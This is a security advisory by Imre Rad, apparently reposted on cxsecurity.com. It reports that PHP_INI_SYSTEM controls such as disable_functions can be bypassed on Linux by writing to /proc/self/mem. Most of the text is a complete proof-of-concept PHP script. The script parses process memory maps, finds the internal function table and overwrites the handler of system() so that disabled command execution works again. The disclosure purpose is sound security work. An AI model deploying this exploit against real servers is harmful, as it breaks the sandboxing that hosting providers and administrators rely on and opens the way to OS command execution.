PHP PHP_INI_SYSTEM Ineffective Controls

2019.05.22
Credit: Imre Rad
Risk: Medium
Local: Yes
Remote: No
CVE: N/A
CWE: N/A

"PHP is a popular general-purpose scripting language that is especially suited to web development." PHP has deployed several features over the years that are prone to incorrect architectural decisions (safe mode https://www.php.net/manual/en/features.safe-mode.php or open_basedir http://news.php.net/php.internals/105606), to have unexpected security implications (register globals https://www.php.net/manual/en/security.globals.php), or simply violated architectural patterns and ended up in a mess (magic quotes gpc - https://www.php.net/manual/en/security.magicquotes.php). This advisory is about to expand this list: security controls configured via php.ini directives at the PHP_INI_SYSTEM level are ineffective as they could be bypassed by malicious scripts via writing their own process memory on the Linux platform. As an example, a threat actor could exploit this flaw to execute PHP functions that have been disabled via the disable_functions directive. It is quite common to disable the exec family of PHP functions aiming to prevent OS command execution in PHP scripts. This weakness enables executing OS commands in restricted configurations. The attack has been reported to the PHP maintainers (https://bugs.php.net/bug.php?id=78006) along with a proof of concept code (https://github.com/irsl/php-bypass-disable-functions) and the recommendation to introduce a new security measure via the fopen wrappers to prevent tampering with /proc/self/mem. The issue was acknowledged but the proposal was rejected saying the attack could be mounted via PHP extensions as well, and this shall be addressed at the operating system level instead. At this point, I decided to publish this advisory, so that system administrators who rely on php.ini settings as their primary/only line of defense shall revisit their configuration and follow another approaches to secure their applications. ------ proof of concept php-bypass-disable-functions Demo project how to bypass the disable_functions security control of PHP on Linux Tested on PHP 7.3.5, x86_64 Linux how to use regularuser@7981d86dd9aa:/$ ./php-7.3.5-vanilla/sapi/cli/php -d 'disable_functions=system' disfunpoc.php Warning: system() has been disabled for security reasons in /repo-shared/disabled_functions/disfunpoc.php on line 2 uid=1000(regularuser) gid=1000(regularuser) groups=1000(regularuser) disfunpoc.php: <?php system("id"); selfpatch(); system("id"); function selfpatch(){ $maps = read_proc_maps(); $cg = read_compiler_globals($maps); $funs = read_function_table($cg); $fn_passthru = $funs["passthru"] or die("no passthru?"); $fn_exec = $funs["exec"] or die("no exec?"); $fn_system = $funs["system"] or die("no system?"); /* the functions above are defined right after each other, their zif_handler is allocated on the heap subsequently. The difference of their addresses on 64 bit architectures is: --enable-debug builds: 43 bytes normal builds: 16 bytes Anyway, lets calculate the correct number properly by comparing htmlspecialchars and htmlspecialchars_decode: */ $fn_htmlspecialchars = $funs["htmlspecialchars"] or die("no htmlspecialchars?"); $fn_htmlspecialchars_decode = $funs["htmlspecialchars_decode"] or die("no htmlspecialchars_decode?"); $zif_diff = $fn_htmlspecialchars_decode["zif_handler_addr"]-$fn_htmlspecialchars["zif_handler_addr"]; debug("zip_diff is: ".$zif_diff); $real_zif_system_addr = $fn_exec["zif_handler_addr"] + $zif_diff; $real_zif_system_addr_bin = pack("Q", $real_zif_system_addr); $fd = fopen("/proc/self/mem", "r+b") or die("couldnt open memory for reading and writing"); if(fseek($fd, $fn_system["internal_func_addr"]+32)) die("Cannot access zend_internal_function of system"); // we are at num_args. if(4 != fwrite($fd, $fn_passthru["num_args_bin"])) die("patching num args failed"); fread($fd, 4); // skipping required_num_args if(8 != fwrite($fd, $fn_passthru["arg_info_addr_bin"])) die("patching arg info failed"); if(8 != fwrite($fd, $real_zif_system_addr_bin)) die("patching zif_handler failed"); fclose($fd); } function read_zend_string($fd, $addr) { if(fseek($fd, $addr+16)) die("Cannot access function name at $i"); $b = fread($fd, 8); $lena = unpack("Q", $b); return fread($fd, $lena[1]); } function read_function_from_bucket($fd, $i) { $re = Array(); if(fseek($fd, $i)) die("Cannot access bucket at $i"); $b = fread($fd, 8); $na = unpack("Q", $b); $re["internal_func_addr"] = $na[1]; $re["internal_func_addr_hex"] = dechex($na[1]); if(fseek($fd, $re["internal_func_addr"]+4)) die("Cannot access function name at $i"); $b = fread($fd, 4); $na = unpack("L", $b); $re["fn_flags"] = $na[1]; $b = fread($fd, 8); $na = unpack("Q", $b); $re["function_name_addr"] = $na[1]; $re["function_name_addr_hex"] = dechex($na[1]); fread($fd, 16); // skipping zend_class_entry and zend_function ptrs $b = fread($fd, 4); $na = unpack("L", $b); $re["num_args_bin"] = $b; $re["num_args"] = $na[1]; fread($fd, 4); // skipping required_num_args $b = fread($fd, 8); $na = unpack("Q", $b); $re["arg_info_addr_bin"] = $b; $re["arg_info_addr"] = $na[1]; $re["arg_info_addr_hex"] = dechex($na[1]); $b = fread($fd, 8); $na = unpack("Q", $b); $re["zif_handler_addr"] = $na[1]; $re["zif_handler_addr_hex"] = dechex($na[1]); $re["func_name"] = read_zend_string($fd, $re["function_name_addr"]); debug(print_r($re, true)); // sleep(1); exit; return $re; } function read_function_table($cg) { $re = Array(); $fd = fopen("/proc/self/mem", "rb") or die("couldnt open memory for reading"); /* (gdb) p (void*) &(compiler_globals->function_table->nNumUsed) - (void*) &(compiler_globals->function_table->gc) $6 = 24 */ $ardata_pos = $cg["function_table_address"]+16; if(fseek($fd, $ardata_pos)) die("Cannot access the function HashTable"); $b = fread($fd, 8); $nnum = unpack("Q", $b); $arDataBase = $nnum[1]; $b = fread($fd, 8); $nnum = unpack("L*", $b); $nNumUsed = $nnum[1]; $nNumOfElements = $nnum[2]; debug("Number of functions: $nNumUsed/$nNumOfElements"); $addr = $arDataBase; for($i = 0; $i < $nNumUsed; $i++) { $fun = read_function_from_bucket($fd, $addr); $re[$fun["func_name"]] = $fun; /* (gdb) p (void*)&(compiler_globals->function_table->arData[1]) - (void*)&(compiler_globals->function_table->arData[0]) $10 = 32 */ $addr += 32; } fclose($fd); return $re; } function find_compiler_globals_at($fd, $i) { if(fseek($fd, $i)) die("couldnt access memory at: $i\n"); $b = fread($fd, 16); $up = unpack("L*", $b); // print_r($up); //exit; if(($up[1] == 12) && ($up[2] == 0) && ($up[3] == 16) && ($up[4] == 0)) { debug(sprintf("Compiler global struct found at: %d (%s)", $i, dechex($i))); return $i; } return 0; } // Function based on some dummy heuristics. Could be improved to be more robust/reliable. function read_compiler_globals($maps){ $fd = fopen("/proc/self/mem", "rb") or die("couldnt open memory for reading"); $addr = 0; foreach($maps as $map) { debug("reading memory: ".print_r($map, true)); $i = $map["mem_region_begin"]; while($i + 16 <= $map["mem_region_end"]) { if($addr = find_compiler_globals_at($fd, $i)) { break; } $i+= 8; } if($addr) break; } if(!$addr) die("Couldnt find compiler globals"); /* (gdb) p &(compiler_globals->function_table) $4 = (HashTable **) 0x7fedf14d4d78 <compiler_globals+56> */ if(fseek($fd, $addr+56)) die("couldnt access memory at: $i\n"); $b = fread($fd, 8); $ft = unpack("Q", $b)[1]; $re = Array( "compiler_global_address" => $addr, "compiler_global_address_hex" => dechex($addr), "function_table_address" => $ft, "function_table_address_hex" => dechex($ft), ); fclose($fd); debug(print_r($re, true)); return $re; } function read_proc_maps(){ $maps_str = file_get_contents("/proc/self/maps") or die("Cant read proc maps"); debug($maps_str); $re = Array(); # preg_match_all('/([0-9a-f]+)-([0-9a-f]+) ([rwxp-]+) [0-9a-f]+ \d+:\d+ \d+(.*)/', $maps_str, $matches); # print_r($matches); $php_seen = 0; for($i = 0; $i < count($matches[0]); $i++) { $a = Array( "executable" => trim($matches[4][$i]), "perms" => $matches[3][$i], "mem_region_begin_hex"=> $matches[1][$i], "mem_region_end_hex"=> $matches[2][$i], "mem_region_begin"=> hexdec($matches[1][$i]), "mem_region_end"=> hexdec($matches[2][$i]), ); // echo "$executable: $perms\n"; if((endsWith($a["executable"], "/php"))&&($a["perms"] == "r-xp")) { $php_seen = 1; } if($a["executable"] == "[heap]") { array_push($re, $a); } elseif($a["perms"] == "rw-p") { if((endsWith($a["executable"], "/php")||(($a["executable"] == "") && $php_seen))) array_push($re, $a); } } if(!count($re)) die("Couldnt find any interesting memory regions"); debug(print_r($re, true)); return $re; } function endsWith($haystack, $needle) { return substr_compare($haystack, $needle, -strlen($needle)) === 0; } function debug($m) { return; echo "$m\n"; }


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2024, cxsecurity.com

 

Back to Top